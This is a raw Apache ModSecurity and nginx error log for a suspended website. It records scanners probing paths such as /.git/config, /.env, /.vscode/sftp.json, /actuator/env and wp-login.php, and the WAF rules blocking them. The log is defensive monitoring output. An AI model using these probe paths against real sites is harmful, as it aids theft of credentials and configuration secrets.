[Thu Nov 27 03:02:44.460107 2025] [:error] [pid 54723:tid 54749] [client 213.21.239.4:41230] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aSdO1A2CEg7QoyDosdIUQAAAABM"]
[Thu Nov 27 03:02:44.468452 2025] [:error] [pid 24814:tid 25094] [client 213.21.239.4:41216] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/static../.git/config"] [unique_id "aSdO1APn1NMGCdo6Rsi5mwAAAVM"]
[Thu Nov 27 03:02:44.475112 2025] [:error] [pid 54723:tid 54751] [client 213.21.239.4:41202] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/.git/config"] [unique_id "aSdO1A2CEg7QoyDosdIURQAAABU"]
[Thu Nov 27 03:02:44.476533 2025] [:error] [pid 24826:tid 25127] [client 213.21.239.4:41312] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/uat/.git/config"] [unique_id "aSdO1FEvPXLVl-nh-yL20QAAAQw"]
[Thu Nov 27 03:02:44.478452 2025] [:error] [pid 54723:tid 54733] [client 213.21.239.4:41212] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/web/.git/config"] [unique_id "aSdO1A2CEg7QoyDosdIURgAAAAM"]
[Thu Nov 27 03:02:44.484573 2025] [:error] [pid 25180:tid 25190] [client 213.21.239.4:41240] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aSdO1L-owhtiwMHXYlzrdwAAAYg"]
[Thu Nov 27 03:02:44.486303 2025] [:error] [pid 54723:tid 54748] [client 213.21.239.4:41264] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/staging/.git/config"] [unique_id "aSdO1A2CEg7QoyDosdIUSQAAABI"]
[Thu Nov 27 03:02:44.488572 2025] [:error] [pid 25180:tid 25202] [client 213.21.239.4:41308] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/static../.git/config"] [unique_id "aSdO1L-owhtiwMHXYlzreAAAAZQ"]
[Thu Nov 27 03:02:45.516102 2025] [:error] [pid 24826:tid 25126] [client 213.21.239.4:41802] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.git;/config"] [unique_id "aSdO1VEvPXLVl-nh-yL23QAAAQs"]
[Thu Nov 27 03:05:34.433753 2025] [:error] [pid 54723:tid 54743] [client 103.57.220.209:48810] [client 103.57.220.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.57.220.209, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSdPfg2CEg7QoyDosdIVPwAAAA0"]
[Thu Nov 27 03:05:34.438123 2025] [:error] [pid 54723:tid 54743] [client 103.57.220.209:48810] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 27 03:05:35.400982 2025] [:error] [pid 25262:tid 25328] [client 103.57.220.209:34754] [client 103.57.220.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.57.220.209, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSdPf03p81VU3bYILBVbIwAAAgc"]
[Thu Nov 27 03:05:35.406740 2025] [:error] [pid 25262:tid 25328] [client 103.57.220.209:34754] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 27 04:23:03.431052 2025] [:error] [pid 21017:tid 21061] [client 51.81.107.180:42908] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Thu Nov 27 05:27:59.507524 2025] [:error] [pid 6203:tid 6265] [client 172.191.37.184:12288] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Thu Nov 27 05:27:59.758406 2025] [:error] [pid 6203:tid 6279] [client 172.191.37.184:12288] File does not exist: /usr/local/apache/htdocs/suspended-page/cfpyrokl.php, referer: www.google.com
[Thu Nov 27 05:28:03.186159 2025] [:error] [pid 6202:tid 6257] [client 172.191.37.184:12502] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Thu Nov 27 05:28:03.455508 2025] [:error] [pid 6202:tid 6237] [client 172.191.37.184:12502] File does not exist: /usr/local/apache/htdocs/suspended-page/gbyfadqf.php, referer: www.google.com
[Thu Nov 27 07:43:57.403127 2025] [:error] [pid 48696:tid 48731] [client 43.231.0.82:48266] [client 43.231.0.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.231.0.82, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSeQvcS_ANN1-M71LagxUAAAAIQ"]
[Thu Nov 27 07:43:57.407374 2025] [:error] [pid 48696:tid 48731] [client 43.231.0.82:48266] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 27 07:43:58.176504 2025] [:error] [pid 48697:tid 48767] [client 43.231.0.82:48296] [client 43.231.0.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.231.0.82, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSeQvsQu01FKPR82sybudQAAAU0"]
[Thu Nov 27 07:43:58.183078 2025] [:error] [pid 48697:tid 48767] [client 43.231.0.82:48296] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 27 09:05:55.224153 2025] [:error] [pid 19013:tid 19030] [client 104.248.12.193:47464] [client 104.248.12.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.12.193, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSej84aBrX8b6-N6_86cOQAAAA0"]
[Thu Nov 27 09:05:55.228011 2025] [:error] [pid 19013:tid 19030] [client 104.248.12.193:47464] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 27 09:05:56.308802 2025] [:error] [pid 40009:tid 40063] [client 104.248.12.193:37880] [client 104.248.12.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.12.193, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSej9EJuxjShta_KR6UEnQAAAUE"]
[Thu Nov 27 09:05:56.318183 2025] [:error] [pid 40009:tid 40063] [client 104.248.12.193:37880] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 27 09:40:10.140366 2025] [:error] [pid 19119:tid 19194] [client 165.22.235.3:53110] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v2/api-docs"] [unique_id "aSer-hsL_RTusriYkwebggAAANQ"]
[Thu Nov 27 09:40:10.580200 2025] [:error] [pid 19015:tid 19073] [client 165.22.235.3:53112] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3/api-docs"] [unique_id "aSer-g4MxyJWPPh2qEjSvwAAAII"]
[Thu Nov 27 09:40:11.020199 2025] [:error] [pid 19015:tid 19075] [client 165.22.235.3:53126] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aSer-w4MxyJWPPh2qEjSwAAAAIQ"]
[Thu Nov 27 09:40:11.453062 2025] [:error] [pid 39563:tid 39579] [client 165.22.235.3:53130] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/swagger.json"] [unique_id "aSer-zNSKUd-PJ2wU0Q1FAAAAQ4"]
[Thu Nov 27 09:40:11.886023 2025] [:error] [pid 19119:tid 19180] [client 165.22.235.3:53138] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/@vite/env"] [unique_id "aSer-xsL_RTusriYkwebhwAAAMY"]
[Thu Nov 27 09:40:12.318425 2025] [:error] [pid 39563:tid 39575] [client 165.22.235.3:53148] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/actuator/env"] [unique_id "aSer_DNSKUd-PJ2wU0Q1GQAAAQo"]
[Thu Nov 27 09:40:12.750533 2025] [:error] [pid 40009:tid 40062] [client 165.22.235.3:53156] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server"] [unique_id "aSer_EJuxjShta_KR6UTvwAAAUA"]
[Thu Nov 27 09:40:13.183497 2025] [:error] [pid 19015:tid 19084] [client 165.22.235.3:53164] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aSer_Q4MxyJWPPh2qEjSwQAAAI0"]
[Thu Nov 27 09:40:13.617606 2025] [:error] [pid 19014:tid 19047] [client 165.22.235.3:53170] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about"] [unique_id "aSer_Y2utvwZ4eADRmoMvQAAAEM"]
[Thu Nov 27 09:40:14.064004 2025] [:error] [pid 19014:tid 19044] [client 165.22.235.3:53176] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/debug/default/view"] [unique_id "aSer_o2utvwZ4eADRmoMvgAAAEA"]
[Thu Nov 27 09:40:14.498127 2025] [:error] [pid 19015:tid 19071] [client 165.22.235.3:53182] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v2/_catalog"] [unique_id "aSer_g4MxyJWPPh2qEjSwwAAAIA"]
[Thu Nov 27 09:40:14.931382 2025] [:error] [pid 19015:tid 19072] [client 165.22.235.3:53196] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aSer_g4MxyJWPPh2qEjSxAAAAIE"]
[Thu Nov 27 09:40:15.363233 2025] [:error] [pid 39563:tid 39588] [client 165.22.235.3:53210] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server-status"] [unique_id "aSer_zNSKUd-PJ2wU0Q1GwAAARc"]
[Thu Nov 27 09:40:15.795353 2025] [:error] [pid 19014:tid 19054] [client 165.22.235.3:53218] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/login.action"] [unique_id "aSer_42utvwZ4eADRmoMwAAAAEo"]
[Thu Nov 27 09:40:16.227899 2025] [:error] [pid 40009:tid 40064] [client 165.22.235.3:53220] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_all_dbs"] [unique_id "aSesAEJuxjShta_KR6UTwAAAAUI"]
[Thu Nov 27 09:40:16.664953 2025] [:error] [pid 19014:tid 19064] [client 165.22.235.3:51576] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.DS_Store"] [unique_id "aSesAI2utvwZ4eADRmoMwQAAAFQ"]
[Thu Nov 27 09:40:17.098920 2025] [:error] [pid 40009:tid 40080] [client 165.22.235.3:51582] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aSesAUJuxjShta_KR6UTxQAAAVA"]
[Thu Nov 27 09:40:17.531403 2025] [:error] [pid 19119:tid 19175] [client 165.22.235.3:51596] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSesARsL_RTusriYkwebiwAAAME"]
[Thu Nov 27 09:40:17.964204 2025] [:error] [pid 19013:tid 19022] [client 165.22.235.3:51606] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aSesAYaBrX8b6-N6_86nlgAAAAU"]
[Thu Nov 27 09:40:18.396384 2025] [:error] [pid 19014:tid 19061] [client 165.22.235.3:51614] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "aSesAo2utvwZ4eADRmoMxAAAAFE"]
[Thu Nov 27 09:40:18.830636 2025] [:error] [pid 40009:tid 40086] [client 165.22.235.3:51630] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/telescope/requests"] [unique_id "aSesAkJuxjShta_KR6UTxgAAAVY"]
[Thu Nov 27 09:40:19.264072 2025] [:error] [pid 19014:tid 19060] [client 165.22.235.3:51636] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aSesA42utvwZ4eADRmoMxQAAAFA"]
[Thu Nov 27 09:40:19.696226 2025] [:error] [pid 19119:tid 19195] [client 165.22.235.3:51644] [client 165.22.235.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSesAxsL_RTusriYkwebkgAAANU"]
2026/03/10 18:01:39 [error] 14451#14451: *286 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wp/v2/posts" failed (2: No such file or directory), client: 91.132.196.58, server: windfarmcoolants.com.au, request: "GET /wp-json/wp/v2/posts HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/10 19:25:39 [error] 14457#14457: *63364 "/usr/local/apache/htdocs/suspended-page/wp-admin/css/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /wp-admin/css/ HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:25:49 [error] 14451#14451: *63493 "/usr/local/apache/htdocs/suspended-page/.well-known/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /.well-known/ HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:25:57 [error] 14451#14451: *63592 "/usr/local/apache/htdocs/suspended-page/sites/default/files/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /sites/default/files/ HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:26:05 [error] 14455#14455: *63698 "/usr/local/apache/htdocs/suspended-page/admin/controller/extension/extension/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /admin/controller/extension/extension/ HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:26:10 [error] 14456#14456: *63774 "/usr/local/apache/htdocs/suspended-page/uploads/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /uploads/ HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:26:20 [error] 14458#14458: *63879 "/usr/local/apache/htdocs/suspended-page/images/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /images/ HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:26:31 [error] 14458#14458: *64000 "/usr/local/apache/htdocs/suspended-page/files/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /files/ HTTP/1.1", host: "windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:46:17 [error] 14453#14453: *77941 "/usr/local/apache/htdocs/suspended-page/wp-admin/css/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /wp-admin/css/ HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:46:29 [error] 14451#14451: *78081 "/usr/local/apache/htdocs/suspended-page/.well-known/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /.well-known/ HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:46:41 [error] 14448#14448: *78236 "/usr/local/apache/htdocs/suspended-page/sites/default/files/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /sites/default/files/ HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:46:57 [error] 14454#14454: *78407 "/usr/local/apache/htdocs/suspended-page/admin/controller/extension/extension/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /admin/controller/extension/extension/ HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:47:13 [error] 14449#14449: *78574 "/usr/local/apache/htdocs/suspended-page/uploads/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /uploads/ HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:47:24 [error] 14444#14444: *78711 "/usr/local/apache/htdocs/suspended-page/images/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /images/ HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:47:34 [error] 14438#14438: *78836 "/usr/local/apache/htdocs/suspended-page/files/index.html" is not found (2: No such file or directory), client: 139.59.32.166, server: windfarmcoolants.com.au, request: "GET /files/ HTTP/1.1", host: "www.windfarmcoolants.com.au", referrer: "binance.com"
2026/03/10 19:52:47 [error] 14453#14453: *82359 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 173.252.69.1, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/10 21:26:35 [error] 3846#3846: *152735 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 17.246.23.118, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 00:01:12 [error] 3834#3834: *264480 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 66.249.69.200, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "www.windfarmcoolants.com.au"
2026/03/11 01:02:24 [error] 6428#6428: *307075 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 66.249.69.195, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "www.windfarmcoolants.com.au"
2026/03/11 01:33:38 [error] 6415#6415: *329544 openat() "/usr/local/apache/htdocs/suspended-page/js/_system/jQuery-File-Upload/server/php/index.php" failed (2: No such file or directory), client: 87.121.84.97, server: windfarmcoolants.com.au, request: "GET /js/_system/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 02:53:38 [error] 6428#6428: *387673 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 52.167.144.64, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 02:53:53 [error] 6410#6410: *387810 openat() "/usr/local/apache/htdocs/suspended-page/sitemap.xml.gz" failed (2: No such file or directory), client: 52.167.144.211, server: windfarmcoolants.com.au, request: "GET /sitemap.xml.gz HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 02:55:43 [error] 6410#6410: *388929 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 54.39.89.208, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "windfarmcoolants.com.au"
2026/03/11 02:57:50 [error] 6420#6420: *390272 openat() "/usr/local/apache/htdocs/suspended-page/robots.txt" failed (2: No such file or directory), client: 34.77.105.185, server: windfarmcoolants.com.au, request: "GET /robots.txt HTTP/1.1", host: "www.windfarmcoolants.com.au"
2026/03/11 03:38:13 [error] 3461#3461: *416654 openat() "/usr/local/apache/htdocs/suspended-page/sitemap.xml" failed (2: No such file or directory), client: 40.77.167.53, server: windfarmcoolants.com.au, request: "GET /sitemap.xml HTTP/1.1", host: "www.windfarmcoolants.com.au"
2026/03/11 04:36:53 [error] 3471#3471: *457665 openat() "/usr/local/apache/htdocs/suspended-page/wp-json/wp/v2/posts" failed (2: No such file or directory), client: 91.107.141.42, server: windfarmcoolants.com.au, request: "GET /wp-json/wp/v2/posts HTTP/1.1", host: "windfarmcoolants.com.au"
